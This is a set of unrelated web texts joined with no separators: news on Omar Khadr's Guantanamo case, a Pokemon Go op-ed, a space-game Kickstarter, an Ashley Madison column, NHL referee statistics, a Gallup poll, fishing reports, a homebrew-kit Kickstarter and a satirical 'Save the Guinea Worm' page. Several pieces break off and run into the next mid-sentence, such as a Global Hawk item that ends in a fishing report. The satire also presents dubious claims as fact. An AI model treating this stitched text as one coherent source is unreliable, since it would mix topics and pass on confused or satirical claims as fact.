interrogations will be discounted in court as the product of torture. U.S. Special Forces shot Khadr twice in the back during his capture, and he was brought to the American-operated prison in Bagram, Afghanistan, in critical condition. During the three months before his transfer to Guantanamo, he was interrogated more than 40 times for up to eight hours a day. His chief interrogator, Joshua Claus, was later court-martialled in connection with the death of an Afghan taxi driver at Bagram. Khadr claims that during his questioning he was threatened with dogs, hung by his wrists or put in stress positions, despite his injuries. He also alleges he had a hood placed over his head and then soaked with water until he began to suffocate, and had LED lights shone into his eyes, injured by shrapnel. "Though critics of the Bush administration have at times been too quick to use the word, this can only be described as torture," his lawyers argue in their submission. Aside from Khadr's statements, the prosecution's case also includes an 18-minute video that briefly shows Khadr taping together wires for what look like improvised explosive devices, which have accounted for the deaths and maiming of hundreds of NATO fighters in Afghanistan. The Pentagon also claims he planted land mines (which the defence documents contend Khadr helped U.S. forces "recover without incident"). Khadr's family has also been a major factor in his case. His father, Egyptian-born Canadian Ahmed Said Khadr, was a reputed financier for Al Qaeda and was associated with Osama bin Laden and his second in command, Ayman al Zawahiri. He allegedly "loaned" Omar, his second youngest son, as a translator to associates within the Libyan Islamic Fighting Group in the summer of 2002. The Pentagon claims Omar trained with the group for a month before his capture. Pakistani forces killed Omar's father in October 2003. Prosecutors claim this evidence supports terrorism charges. But to try Omar Khadr, the Pentagon will have to overcome issues of the Canadian's age at the time of the alleged crimes – a concern that Radhika Coomaraswamy, the United Nations' Special Representative for Children and Armed Conflict, has reportedly stressed during recent meetings on Khadr's case with White House officials. While juveniles are often charged in criminal proceedings, Khadr was captured during an armed conflict, and international law stipulates that minors should be rehabilitated rather than prosecuted. (The last prosecution of a child soldier was in the 1940s, following World War II.) Khadr's lawyers argued to the task force that Khadr is a perfect candidate for rehabilitation, and they note that an Ottawa parliamentary committee has already approved a plan for him that would integrate mental, spiritual and social programs – and place legal restrictions on his freedom and access to family members. Retired U.S. Army Brig.-Gen. and psychiatrist Stephen Xenakis is likely one of the people who now knows Khadr most intimately, having spent hours talking with him at Guantanamo in the past two years as part of a court-ordered assessment. "He's a very decent young man, very, very decent," Xenakis told the Star. "Kind-hearted, thoughtful, sensitive, and you look at him and you see this kid has had a tragic experience. "Right now we don't talk about politics or ideological stuff. My sense is that he disavows all of that. "Those are early childhood experiences, (and) they've been edited in his head so many different ways." Read more about:America has an obesity problem. Most anyone who trusts modern science will not dispute that point. But as with any societal issue, the question is not so much about what the problem is, but rather what to do about it. Like most other “crises”, the easy solution most loudly called for is some sort of intervention from the government, and obesity is no different. According to the National Institutes of Health, more than two-thirds (68.8 percent) of adults are considered to be overweight or obese. More than one-third (35.7 percent) of adults are considered to be obese, and greater than 1 in 20 (6.3 percent) have extreme obesity. To prevent such trends from continuing, a great deal of focus has been placed on preventative measures for children, such as various programs introduced by First Lady Michelle Obama. Upon her husband’s entrance to the White House, Mrs. Obama made it her mission to tackle childhood obesity. She launched the “Let’s Move!” campaign in 2010 and set some lofty goals. According to the program’s website, the FLOTUS’s initiative is devoted to “solving the challenge of childhood obesity within a generation so that children born today will reach adulthood at a healthy weight.” It also seeks to decrease childhood obesity to 5 percent by 2030. Among some of the program’s practical applications are providing healthier foods in public schools, ensuring that every family has access to healthy, affordable food, and helping kids become more physically active. Despite significant efforts from the federal government, the program has had at best a neutralizing effect, and at worst a negative one. Data on kid fitness suggests that 3 in 4 kids aged 12 to 15 fail to meet the federal government’s minimum recommendations of an at least an hour of vigorous activity each day. “It’s definitely very concerning to see that our kids are engaging in such a limited amount of physical activity each day when we are still battling the national obesity problem,” said Stephen Pont, chairman of the American Academy of Pediatrics’ section on obesity, according to the Associated Press. But while government is failing to get kids moving, the private market is quietly getting them off their feet again. Just this week, the new app called Pokemon Go launched for mobile devices, bringing the digital world that millennials grew up with to life. The game allows players to travel their neighborhoods and towns on foot to catch wild Pokemon and train them as their own. The game mixes the elements of the game with real life places, that one must travel to on-foot to play. Don’t get me wrong: the game is no fit-bit. Kids are not exactly doing wind-sprints up and down local main street to catch these fictitious creatures. But for the first time in a long while, avid gamers are enthusiastically getting out into the world and participating in mild cardiovascular exercise. Pokemon Go is not going to solve childhood obesity. It might not even make a significant dent. But it does illustrate how the market is far superior in enacting social change than any government could be. The key is not that the game developer cares so much about the children’s well-being, but that it wants to provide a product for which there would be a demand. To quote from economist Adam Smith, “It is not from the benevolence of the butcher, the brewer, or the baker that we expect our dinner, but from their regard to their own interest.” Many do not understand that as society’s desires and values change (healthy living, environmentalism, etc.) the market must find solutions to meet the demand of those values. Pokemon Go is an interesting combination of satisfying a demand (that of a new video game), while providing a perceived social good of physical activity. I would bet a good deal of money that most children would take an afternoon outside with this game over Mrs. Obama’s program any day of the week. The market creates goods like this all the time, but people often fail to notice. Take for example the USB drive, or even more recently, cloud servers. Environmentalists and the EPA have been fighting for government protection of the planet for decades – and have made little difference. Yet, these free market innovations have done more for their “cause” than government ever has. The same thing is becoming increasingly true in the auto industry. Despite government regulations on the traditional car manufacturers to create a clean, electric vehicle, it was newcomer Tesla that ultimately broke through and changed the game. Tesla cars have become cool status symbols much like the sports-cars of old. Such stories can be found throughout human history and naturally lead one to logically conclude the market’s superiority. But still, people do not see what is right in front of them. As Henry Hazlitt once observed, the market and price system is beautiful, but its wonder is overlooked because the unseen (market) is neglected for the seen (state). Based on historical evidence, I can certainly imagine a future where the market is driving people towards healthier lifestyles by tapping into what they demand. Maybe the product will be a game like Pokemon Go; maybe it will not be. And that’s part of the wonder. The market could ultimately supply society with an awesome product that we never even knew we wanted. I certainly cannot see the government ever doing the same.Miss the Kickstarter? Head over to EpicSpace.net and join in now. Quick Info! All Pledge Tiers receive access to the Beta. So far, 9 backers will be commanding the notorious Odin. Will you? Take a moment to vote for us on Steam Greenlight! (Link Below) Capital Ships are the Largest Ships in the Universe, requiring a crew of real people to manage easily. Epic Space Online hosts players in a single universe with absolutely no borders or boundaries. You can fly in any direction in a procedurally generated universe. The game is incredibly deep with too many aspects to cover at once, but anyone can scratch the surface and start flying, trading, and building space stations now. (Soon on the iPad) About the Project: We're going to be bringing Capital Ships to Epic Space Online. These will be the largest ships in the game and will require not just you to operate, but an actual crew of real people! This has never been done before in a 2D Space game and will be a significant feat. But the end result will be a ship flyable by anyone, where you can transport goods, people, and anything else you can think of across the universe. This is going to be an add on to an already in depth game that's playable right now. The Transport Ship (Crewed by You and Others) The expansion will include Carrier and Destroyer Capital ships. The Odin - Click for larger image. Pledge now to captain this Ship ----> The Odin. Other players can dock with this ship. Also capable of FTL travel. One shared persistent sandbox/universe. No Borders or Boundaries, fly in any direction. , fly in any direction. Mining, piracy, industry. Build and deploy space stations. Deep crafting with hundreds of craftable items. Unlimited Exploration. Weekly Updates / Features. 100% Player Driven. Dozens of different ships. Randomly generated content. Epic Space Battles over an insane amount of territory. Mine, pirate or buy your way to your goals. Dozens of different ships already in game. Hundreds of craft able items. There are no borders in Epic Space Online. Fly in any direction. In depth wiki available for your use. Unlimited Opportunities for Exploration. New Content all the Time. Dozens of Ships -- Click for Larger View We need you! Epic Space Online is the only member supported MMO in existence. Every donation goes directly into development and to the support of the game world. Players who pledge and donate what they can do so because they genuinely love the game and it's potential. Join our community! Click for larger version VIP Pledge Awards E3 Launch Party (June 10th 2014 - Los Angeles) VIP Forum Badge Design a Fighter, Capital Ship, Receive the Unique 3D Model and More. Join us for our VIP Launch Party at E3 2014 The Combat Physics Demo http://EpicSpace.net/physicstest So what if my pledge reward gets destroyed? Type "/reward <Shipname>" in the chat window. Rewards the player with a ship if it doesn't exist in the universe and the player has pledged at that level. View more console commands. For capital ships, you simply have to wait 7 days before a new one can be constructed. What do Kickstarter Backers get over everyone else? Free Capital Ship Replacement for Life ( Only if none exist in universe ) Backer / Captain Profile Badge Instant Access to Closed BETA I've just backed the game, when can I get access to the Closed Beta? You'll receive your BETA Key at the end of the Kickstarter. (See Update #1 for the Client Links. Be sure to download now.) What if I'm already in the Closed BETA. Why should I pledge on Kickstarter?Am I supposed to feel sorry for those exposed by the Ashley Madison security breach? Well, I don’t. It’s not a moral judgment on my part; it’s just always painful watching people posturing as wild freethinkers, unfettered by convention. To my mind, AM subscribers come across as faux-sexual libertines – too wussy, miserly and/or timid to either have a proper, full-blown affair or hire a sex worker. The irony is that most of the women on the site are now said to be (ta-da!) sex workers. Either that or photographs of fake-women, who don’t exist beyond their beguiling “sexually available” pixels. Then there’s the stupidity factor, and I’m sorry but it’s predominantly male stupidity. Unlike women, men were charged to enter (and indeed exit) the site, which might have given them a small clue as to what was going on. Which hinged on the same thing that’s always gone on – that it’s generally only men who go to such extraordinary lengths to get laid, because women simply don’t need to. Some of you might have noticed from your own days of going to nightclubs how frequently females were let in for free, because that was the only way to get the (fee-paying) males in – and how the reverse never seemed to occur. As the Ashley Madison payment system shows, in some ways this never stops. However “hot” or otherwise, however sexually driven or otherwise a woman might be, she knows she can always get sex – so long as sex is all she wants and she’s not too choosy about the partner. It’s in the female DNA – or at least this is the Ellen view – not to worry about obtaining sex, only about the quality of the sex (and the man). It’s a clear-cut marketplace issue. Women know that the supply will always be there and that the supply will always exceed the demand. Let’s be clear: there aren’t hordes of insane, conceited, delusional women walking around, thinking: “I’m so hot that I can get any man I want!” The whole point is that women don’t have to be particularly hot to get sex. Facebook Twitter Pinterest Identity protection analyst Adam Levin says Ashley Madison members should come clean instead of waiting to be discovered or risking becoming the victim of extortion While to a straight man being able to always get laid might look like a super-power, in reality it’s not, unless it truly doesn’t matter to a woman who she has sex with. Once you put desire (whom the woman might want) into the equation, this “power” is exposed for what it is – ultimately worthless. What does it matter to a woman that she could end up having sex with somebody/anybody from a bar/club/website if there’s no one that she’s interested in? Moreover, if a woman wants something deeper, perhaps more relationship-shaped, then that’s where the game sharply changes and the playing field levels. This isn’t necessarily because women want relationships more, and spend their evenings sobbing into their cat’s fur about the non-arrival of their prince, but because finding a special, lasting connection is extremely difficult for both sexes. Ultimately, everyone finds it difficult getting what they really want, just in different ways. However, perhaps men in particular could learn from the Ashley Madison debacle. Sites such as AM can only work because certain men are conditioned to make surreal efforts to obtain sex, so much so that it feels “normal” to sign up for adultery websites that demand potentially catastrophic personal details. By contrast, for women, obtaining “just sex” requires little to no effort. So, while there probably are some women wanting extracurricular sex, who simply can’t source it anywhere else, there wouldn’t be that many, certainly not the hordes promised by Ashley Madison. The sad truth is that certain men only believed it because it suited them to believe that women could be as sexually desperate as them. Facebook Twitter Pinterest Ah, that’s better. Ditch the beard, Ed. Photograph: /Associate/REX Shutterstock Come on, chaps, beards aren’t cool - just look at Ed That photograph of Ed Miliband sporting a scrubby little beard was heartbreaking – “Exhibit A” in the case for him being severely depressed. Ed might think he looks sexy and rumpled but, to me, the beard screams: “Don’t tell anyone I’ve been sleeping in my car.” Perhaps the “groovy beard” renaissance has had its day. Very few women like them – they give you a rash, they’re stinking food-catchers and it’s like getting hot and heavy with loft insulation. I’ve said it before and I’ll say it again: men should beware of women who pretend to adore their facial hair – these minxes are attempting to fend off serious sexual opposition by encouraging your resemblance to a latterday Giant Haystacks. Fact. The sad truth is that very few men suit a beard – most end up looking like that bloke from The Joy of Sex. This remains true however many hipsters prance around Hoxton channelling Abraham Lincoln. Beards aren’t even surprising anymore – it’s difficult to find a coffee shop barista who doesn’t have one, wilting in the steam of the cappuccino milk-frother. Please, I implore all hairies: seize the day and the razor and say goodbye to the beard. Facebook Twitter Pinterest Cilla’s politics don’t affect her likeability. Photograph: Allstar Picture Library What’s Cilla’s Toryism got to do with it? Amid the vast public reaction to Cilla Black’s death, there was the occasional gripe about her being a Tory supporter. Why is this deemed relevant? Making something of the fact that Black was a Tory supporter, despite being a born and bred working-class Liverpudlian also comes across as spite based on stereotypes. The north has a reputation for being anti-Tory, but it’s not an unbreakable rule – individuals are still permitted to have their own views and voting preferences. Even more bizarre, bordering on offensive, is this view that Cilla being a Tory-supporter was a good reason to dislike her, question her talent, kindness or integrity. What utter codswallop, and I say that as someone who is frequently dismayed by what the Tories are allowed to get away with in the nation’s name. In my experience, how someone votes is not a foolproof litmus test for who they are as a person. Members of my family, and some friends, have voted Tory. I disagree with them, and vote differently, but that’s the end of the matter – the relationship remains undiminished. I imagine they forgive me my voting trespasses too. While I’m all for the positive aspects of tribalism (identity, community, camaraderie), it can’t become a lazy excuse to refuse to look for the good in people who think differently. The only time that “Tory” should be used as an insult, if then, is when it’s directed at actual Tory politicians – the ones with the power. Certainly it seems grotesque to have people carping about someone being a Tory even as their family lowers them into the ground. RIP Cilla – it sounds as though I’d have disagreed with your politics but you’re still a loss, chuck.This article is over 3 years old Matisse, winner of this year’s ITV talent show, replaced with dog called Chase for high-wire section of event Britain’s Got Talent dog replaced with stunt double for performance in final Britain’s Got Talent winner Matisse was substituted for a look-a-like stunt dog for the high-wire stunt that won the talent show final. Matisse’s owner Jules O’Dwyer has revealed that he is afraid of heights, so she used a double called Chase to perform high-rope walking climax on the final of BGT on Sunday night. “Matisse is a little bit afraid of heights, so although he could officially do it, Chase is the action dog, so he plays the double for him,” O’Dwyer admitted on ITV breakfast show Lorraine on Monday morning. “Every dog has a different character. The tightrope takes months of training.” Chase had previously made an appearance in O’Dwyer’s semi-final performance, however the deception angered some viewers who said it was “shameful” that the public had been “conned”. Fiona Fairbairn (@Fiona_Feb) @JulesAndMatisse So it turns out the dog on the tightrope was a double for Matisse on #BGT?! Basically conning the public!!! Shameful! Another tweeted that BGT’s producers should have informed viewers about the sleight of hand before the public decided who to vote for in the final. O’Dwyer and Matisse were the final act of the night, using a cops and robbers theme which ended with three-legged dog Skippy joining them on stage, narrowly beating favourites choir Cor Glanaethwy and runner-up magician Jamie Raven. After O’Dwyer’s canine victory, Raven quipped that technically the public had voted him the most talented human in this year’s competition. louise (@lowerthanlou) they used a stunt dog in the final! wow pretty much robbed the magician of £250,000 #BGT #Matisse Figures show that it was extremely close, with O’Dwyer and Matisse winning 22.6% of the 4.5 million votes cast and Raven 20.4%. O’Dwyer’s act scooped the £250,000 top prize and means she will perform in front of the Queen at the Royal Variety Performance. The final was watched by an average of 11.7 million viewers, a million more than last year and reversing a two-year decline in ratings, making it the biggest show of 2015 so far. However, there were almost 200 complaints lodged with media regulator Ofcom and ITV from viewers angered over the plunging neck-lines of the dresses worn by judges Amanda Holden and Alesha Dixon.Last Tuesday on Hockey Night In Canada, Ron MacLean commented that the NHL should not have allowed a Quebecois referee to officiate Game 4 between the Tampa Bay Lightning and Montreal Canadiens. He cited the fact that the game was in Montreal, and that there was a controversial call in Game 3 made by a French referee, a call MacLean himself supported after it happened. He later apologized, saying that any ref from any region shouldn't be put in a situation where they could be biased towards the home team, but the damage was done. While there was outrage, there was also agreement with MacLean's comments. But no one has actually gone forward and investigated whether French referees have a bias towards the Canadiens in Montreal. So do they? Are the Canadiens favored at home? To answer this question, I went through five years of game data with Concordia University professor Stephane Brutus. We first have to understand that over the last five seasons in the NHL, there has been a natural bias towards the home teams when it comes to doling out power plays. 20,168 power plays have been given to home teams in the regular season, with only 18,657 power plays being given to road teams. This means that on average, a home team should expect to receive 51.9 percent of the power plays over this large, five-year sample. During this period, the Montreal Canadiens have received 50.7 percent of the power plays given out while on home ice, so we can immediately write off the narrative that Montreal receives more calls because of the raucous crowd inside Bell Centre. What about by French officials? However we can go even deeper than that. Let's look at all the Montreal games officiated by Francophone referees employed in the NHL from 2009-14 in the regular season. Those referees include Stephane Auger (no longer an active ref), Marc Joannette, Justin St. Pierre, Frederick L'Ecuyer, François St. Laurent and Francis Charron. The Canadiens received just 50.5 percent of the power plays given out in games where French referees officiated, below their average numbers over the time period in question -- though by a slim enough margin to be considered random. Montreal vs. the other 29 Going a step further, we can compare the bias each referee (aside from Auger) had in favor of the home team in the 2013-14 season, using Scouting the Refs, to their personal biases in Montreal. Doing so, we get the following figure: Aside from Charron, who is the least experienced ref in the bunch, and who has officiated just five games in Montreal in five years, every single official has a stronger bias towards the home team outside of Montreal than in Montreal. The only reasonable conclusion to be made here is that these guys are professionals, aren't rattled by the crowd, and if anything, call the Canadiens tighter than other teams in order to combat the idea that they could be biased to their hometown team.Feb. 8 (UPI) — The U.S. Congress’ approval rating increased nine percent in one month to 28 percent, the highest since former President Barack Obama was inaugurated in 2009, a Gallup poll shows. The jump from January’s 19 percent approval rating to the 28 percent rating is short of Gallup’s historical average of 30 percent. Gallup said the surge corresponds with an increase in the approval of Republicans, which more than doubled to 50 percent following the inauguration of President Donald Trump. From January to February, the job approval of independents increased slightly to 25 percent and the approval of Democrats fell by eight percent to 11 percent. Gallup said the circumstances mirror what occurred after Obama was inaugurated when Democrats saw an increase but Republicans’ approval dropped. In 2009, U.S. Congress’ approval from January to February increased by 12 percent. “The 115th Congress has not passed significant legislation in its first weeks in office, and it has not been involved in many highly publicized activities other than the Senate’s vetting and confirming Trump’s various Cabinet appointments,” Gallup said in a statement. “Most of the news focus has been on Trump himself, including his rapid-fire series of executive orders and tweets responding to news media and those who disagree with him.” Gallup said Trump has acted as a catalyst for Americans, mostly Republicans, to become more positive about Congress, adding that the future approval of Congress largely depends on the relationship between the GOP-led legislative branch of government and Trump’s executive branch. “Republicans’ views of Congress could sour if they begin to perceive that the House and Senate are not fulfilling their more conservative aspirations for the body, even with their party’s president in the White House,” Gallup wrote.Click to email this to a friend (Opens in new window) An upcoming book by Dianne Burnett, ex of “Survivor” producer Mark Burnett, says there was so much sex on the show’s set, it should’ve been called “Camp Lust” or “Infidelity Isle.” “Affairs among crew members were sprouting like mushrooms in a moist cow patch,” she writes in “The Road to Reality.” She adds, “The unwritten motto was: ‘What plays on the island, stays on the island.’ ” Dianne was married to Mark for 13 years before their divorce in 2006, and she says she was the “support system,” “connector” and “cheerleader” who came up with the title “Survivor.” She details in the book — out Sept. 18 from Agape Media, and subtitled, “Voted Off the Island! My Journey as a Real-Life Survivor” — how Burnett swept her off her feet and they started a family while traveling the world. But, the show’s “popularity was a double-edged sword.” By the second season in Australia, she says, “I noticed around then that he was no longer wearing his wedding ring.” Yet, “I didn’t even seriously consider that my marriage might be entirely over until Howard Stern clued me in,” Dianne writes about a 2002 interview when “Stern asked [Mark], ‘You’re still married?’... There was a really, really long pause.” She says that after the third “Survivor” season in Africa, Mark told her he wasn’t returning home but, “going to ‘hike a mountain with the guys’... I later heard that the only mountain Mark had gone to climb was Mount Twenty-Something: apparently, he’d flown in a young woman... and had taken her on a safari.” Burnett, now wed to actress Roma Downey, declined to comment. But he’s adamantly denied Dianne’s involvement with “Survivor,” telling the Hollywood Reporter, “If she did so much, so long ago, where are all her new shows?” Dianne — who’s launched the Web site The Other Side and a new drink, Mulberry Love — told us: “I’m not taking away anything Mark has done, but I know what I contributed... People may think, ‘Why the heck is she doing this now?’ I had to take time for my heart and soul to heal.”Northrop Grumman plans to modernise its Global Hawk unmanned air vehicle in order to meet the requirements for the US Missile Defense Agency’s (MDA) proposed high-altitude, long-endurance (HALE) effort, a programme that would stretch the RQ-4 beyond its current capabilities. The MDA is calling for a HALE UAV equipped with a high-energy laser that could destroy an intercontinental ballistic missile in the boost phase, according to a June request for information posted on the Federal Business Opportunities website. The HALE programme requires a minimum altitude of 63,000ft and a payload capacity between 5,000-12,500lb (2,270-5,670kg). Today’s Global Hawk can reach
Coho Killers, Bon Chovi or Outfitters Skinny G spoons and APT Needlefish spoons. Anglers jigging have been using Needlefish Darts or Deep Stingers and have been doing much better than those trolling for salmon, with some anglers getting limits of 11-20 lb springs. Halibut fishing was SLOW this past week. However, Wayne Cocks from St. Albert, Alberta caught his first halibut that weighed in at 67lbs (130cm) long in Haro Strait on a Salmon head and Octopus combo. Most anglers that were fishing for halibut were using extra large herring, salmon bellies and/or octopus for bait. Also working well was the 9” Jumbo Squid in Green Glow. Also working well, and discouraging to dogfish, was the 9” Jumbo Squid in Green Glow. Submitted by Tom Vaida, Island Outfitters, 3319 Douglas Street, Victoria, BC (250) 475-4969 info@fishingvictoria.com; www.fishingvictoria.com Pedder Bay Salmon fishing IMPROVED this past week. Almost all the salmon were caught near the entrance of Pedder Bay. A number of fish in the 20’s and teens were seen being cleaned at the marina on the weekend. There was a lot of bait in the bay and that’s where most salmon were caught. This week, both trollers and jiggers fishing near the bait schools were hooking salmon. Anchovies also caught fish, but not as many as the ones taken jigging. Good choices for teaser head colors are UV Green, Chartreuse, Bloody Nose and Purple Haze. Flashers that are popular include the Betsey, Lemon-Lime and Madi. Submitted by Tom Vaida, Island Outfitters, 3319 Douglas Street, Victoria, BC (250) 475-4969 info@fishingvictoria.com; www.fishingvictoria.com Sidney Salmon fishing was SLOW this past week. We’ve heard of 20 and 9 lb springs being taken east of Fairfax Point. We also heard of a few springs near Cordova Spit. The Pender Bluffs have been very slow. Trollers fishing with tiny strip or anchovies were using Bloody Nose and UV Green teaser heads. Anglers using spoons found Coho Killers, Gibbs Needle G and AP Tackle needlefish spoons were successful. Anglers jigging have also been catching springs and are using Needlefish Darts and Deep Stingers. The Powder Wharf and Shag Rocks area are popular for jigging salmon. Effective July 25, 2016 at 00:01 hours until October 14, 2016 at 23:59 hours, you may not retain Chinook salmon in the following waters: Subareas 18-6 to 18-8, 18-10. Submitted by Tom Vaida, Island Outfitters, 3319 Douglas Street, Victoria, BC (250) 475-4969 info@fishingvictoria.com; www.fishingvictoria.com Sooke The salmon fishing was SLOW this past week. Sherringham Point, Otter Point and Secretary Island were the best spots for fish. Dalton Labrau caught a 38.5 lb spring in Sooke on an anchovy in a red teaser to take the number one spot on our salmon leader board. Anchovies are now the top choice for bait and good choices for teaser head colors are UV Green, Chartreuse, Bloody Nose and Purple Haze.The top spoons for Sooke anglers are the White Lightening and Irish Cream Coho Killers, trolled behind a Betsey, Madi or Bon Chovi Flasher. Hootchies in Cop Car, Purple haze and White have been effective in the past month. Submitted by Tom Vaida, Island Outfitters, 3319 Douglas Street, Victoria, BC (250) 475-4969 info@fishingvictoria.com; www.fishingvictoria.com. Victoria Fishing for salmon was STILL SLOW off Victoria. There were a few caught along the waterfront near Esquimalt, and some of good size, but not very many. Dave Bury caught a 24.5 lb spring while jigging a 2.5 oz Delta Mac Fish in 26 feet of water close to a kelp bed. About 1 in 10 boats has been catching a salmon. Anchovies have been a good bait to use and Bloody Nose and Purple Haze have been the most popular colors for teaser heads. Spoons and squirts have been successful in getting hook ups as well. Good choices in plastic baits are the Pink Haze and White Glow. Green Spatter Back UV Coho Killers, Gibbs Outfitters or Bon Chovi Skinny G trolling behind a Moon Jelly flasher has also brought results in Victoria. Green/Gold Hot Spot flashers have also been good to use. Halibut fishing was SLOW this past week with the best areas remaining being East Constance Bank, Border Bank and the Mud Hole. Anglers that were fishing were using extra large herring, salmon bellies and/or octopus for bait. Also working well, and discouraging to dogfish, was the 9” Jumbo Squid in Green Glow. Submitted by Tom Vaida, Island Outfitters, 3319 Douglas Street, Victoria, BC (250) 475-4969 info@fishingvictoria.com; www.fishingvictoria.com Cowichan River no report this week Lakes no report this week Submitted by Tom Vaida, Island Outfitters, 3319 Douglas Street, Victoria, BC (250) 475-4969 info@fishingvictoria.com; www.fishingvictoria.com Stamp River no report this week Oregon Tillamook Bay The Oregon Department of Fish and Wildlife reports that spring Chinook are available in decent numbers, and angling is improving. Trolling herring or large bladed spinners are the most productive techniques. Keep your gear near the bottom while trolling slowly. Great Lakes Lake Michigan no report this week Get this, and all Salmon University updates,via email.What is HopBox? Why is it special? Whether you’re a veteran brewer or are brewing your first batch of beer, HopBox homebrewing kits are designed to help you brew in style. Every aspect of brewing is provided for, from quality glassware to the durable, highly-portable handcrafted wooden base. Each kit is built by hand in our Somerville, MA workshop from rustic pine and locally-sourced components. Our home brewing kits are perfect for brewing cider, mead, and - of course - beer. We offer 4 different models, able to brew 1 to 3 gallons of beer at a time (approximately 10-30 beers). Each HopBox homebrewing kit comes fully-equipped with a complete set of instructions, a brewers’ log, ingredients, and a recipe book with over 20 recipes to choose from. Why Kickstarter? We’ve been refining and perfecting our designs over various iterations, taking feedback from early adopters and our customers. After perfecting our process during the holiday season, we are confident that we’re ready to take our operation to the next level to become a fully-functioning business. Now that we’ve tested our product, we’re ready for full-scale production. Which means upgrading our workshop situation. Your donations will go towards renting a bigger, better workshop and helping us to purchase our own tools. With a bigger workshop, we can house our production and shipping comfortably under one roof. What's the plan? In addition to establishing a better home for our business, we’d also like to use our workshop as a communal space where we can share the process of brewing and woodworking with the local community. We’d love for people to come see us build their kits so we can hand the product to them and walk them through their first (or even their hundredth) brew. Our most rewarding days are those spent chatting with other homebrewers, showing them our process and hearing about their latest concoctions. We want to provide a venue for those conversations - tastings, brewing sessions, and everything in between. Our current shop space is small, dark, and cramped, and we don’t always have access to the tools that we need--we share them with others who use the space. At the moment, all of our packing, shipping and grain-milling takes place in an apartment. Boxes are stacked to the ceiling, shelves are filled with supplies, and stray packing peanuts litter the floor. It’s barely functional as a hobby, and nowhere near what we need to run a business. With your support, we can expand. Growing pains. And in return? REWARDS! We’ve got rewards for days, including great discounts on all of our homebrewing kits, custom bottle openers and pint glasses, and lots of great swagger to fully outfit you for your next brewing adventure. Check out our offerings below! the Tall Boy (3 gallon) kit does not include a recipe kit. What will your donations do for you? Now that we’ve tested our product, we’re ready for full-scale production. Which means upgrading our workshop situation. Your donations will go towards renting a bigger, better workshop and helping us to purchase our own tools. With a bigger workshop, we can house our production and shipping under one roof. In addition to production purposes, our dream is to develop our future workshop as a communal space where we can share the process of brewing and woodworking with the local community. We want people to be able to come see us build their kits so we can hand the product to them and walk them through their first (or hundredth) brew. Our most rewarding days are those spent chatting with other homebrewers, showing them our process and hearing about their latest concoctions. We want to provide a venue for those conversations - tastings, brewing sessions, and everything in between. Who’s behind HopBox? Two guys with a beer-fueled dream. Mike Langone: I first discovered brewing five years ago. It was love at first brew. However, the brewing process left much to be desired. It was a ungainly process involving ugly plastic fermenters, a messy kitchen and thoroughly disgruntled roommates. I figured there had to be a better way to brew, one that would look at home in any environment and celebrate the process rather than hide it. In January 2013 I designed the first HopBox homebrewing kit. It was everything I wanted a brewing kit to be: stylish, portable, and accessible. I wanted to inspire people to brew, to experiment with new recipes, to feel the satisfaction that comes with sharing something you have made with family and friends. I also realized I wanted to make it more than a hobby - I wanted to make it my career. So I went all in! I quit my day job, emptied my accounts, and started living out my dream - one that I hope you share and can help me make real. Matt Gorman: Mike and I have been best friends since kindergarten. We developed a shared love of beer over the years, so when he got into homebrewing I naturally reaped the rewards of free beer. After a few years of mooching, I finally decided to try my hand at brewing. My first brew was done with a HopBox, and I immediately fell in love with both the process and the product. I have always had a passion for entrepreneurial pursuits, and I have never been more excited than I am about this project. HopBox turned me into a novice, yet enthusiastic, homebrewer within my first session, and I am eager to share my experience. Are you sure you know what you’re doing? Since we designed the first HopBox model in January 2013, we’ve been refining and perfecting our designs over various iterations, taking feedback from early adopters and our customers. After a few different models and perfecting our process during the holiday season, we are confident that we’re ready to take our operation to the next level to become a fully-functioning business.The Endangered Guinea Worm The rare Guinea Worm faces extinction. Yet despite growing public support for environmentalism and preservation of endangered species, few people will speak out on the Guinea Worm's behalf. In fact, the United Nations and several prominent U.S. agencies are leading a quiet campaign to eradicate this dwindling species forever from the planet. Is the Guinea Worm the world's most endangered species? Who Speaks for the Guinea Worms? As you read this, a cartel of powerful organizations is conspiring to exterminate a living endangered species from the planet. And almost no one is doing anything about it. The Guinea Worm has few defenders. Guinea Worms are neither cute nor fluffy. An animated Guinea Worm with a humorous voice has never appeared in a Disney movie. Yet the Guinea Worm is as endangered as any species today. When the last one has been killed, the earth's biodiversity will have been irrevocably harmed. Unlike elephants, tigers, and other charismatic megafauna, the Guinea Worm has few advocates. While more photogenic species benefit from worldwide attention and seemingly-inexhaustible efforts to preserve their small numbers, the Guinea Worm struggles in silence against an organized worldwide effort of supposed "health" experts who have little or no awareness of the damage they pose to worldwide biodiversity. Ironically, as a parasite the Guinea Worm is dependent on humanity to complete its life cycle. The species' very survival depends on us. The Save the Guinea Worm Foundation was founded to speak out where the environmental movement has remained silent, and stop the United Nations and the rest of its international Cartel from destroying the world's most endangered species forever. The Crisis: Who is Behind the Extermination? At the heart of the Guinea Worm crisis is the United Nations, along with several powerful global agencies, including the World Health Organization (WHO), the Centers for Disease Control and Prevention (CDC), and the United States Agency for International Development (USAID). In May 2000, these powerful institutions were joined by a new funding crusade to bring about the eradication of the Guinea Worm... by none other than Bill Gates and his "Gates Foundation." It is hard to believe that these respected organizations, which spend untold billions of dollars toward the alledged improvement of life on earth, would embark upon such a reckless and destructive campaign. Yet the potential environmental ramifications of Guinea Worm eradication have gone virtually ignored for years as the number of surviving Guinea Worms continued to plummet. As of July 2000, the Guinea Worm had been completely eradicated in Europe. The species clings to life in a handful of African nations, where efforts to destroy it continue. The Guinea Worm Destruction Cartel claims to have the best interests of humankind at their heart. Like all members of a functioning ecosystem, the Guinea Worm interacts with other members of the ecosystem to complete its life-cycle. Yet because the Guinea Worm is unlucky enough to rely upon humanity for its self preservation, it is branded a "parasite" and targeted for destruction. At first, this approach seems to make sense from a health standpoint. Interaction with Guinea Worms is linked with painful health complaints among many people in the developing world. Certainly those people deserve a better life. Yet armed with this justification, "health" officials in the Cartel hatched a plan to bring about the most short-sighted option possible -- the complete elimination of a living species from the planet. The Guinea Worm eradication cannot be compared to campaigns against small pox or polio for one simple reason: the Guinea Worm is not a disease microbe, but a living animal. It has a nervous system. Its hearts pump blood through its small body. It experiences pain. And for thousands, perhaps millions of years, it has inhabited the earth unmolested. Until human hubris threatened its very future. The Challenge: How Can I Help Save the Guinea Worm? You're not alone in your concerns about the Guinea Worm. If you act now, you'll lend your voice to a growing global outcry aginst the destruction of this endangered species. Here are some easy ways you can make a difference in your own community. You can also start by joining Save the Guinea Worm Foundation. We demand no money, no support of any kind save your commitment to helping save the world's most endangered species. More information on joining is at the bottom of this page. Here are some great ways to help protect the Guinea Worm: Write your congressional representative. Express your concerns for the 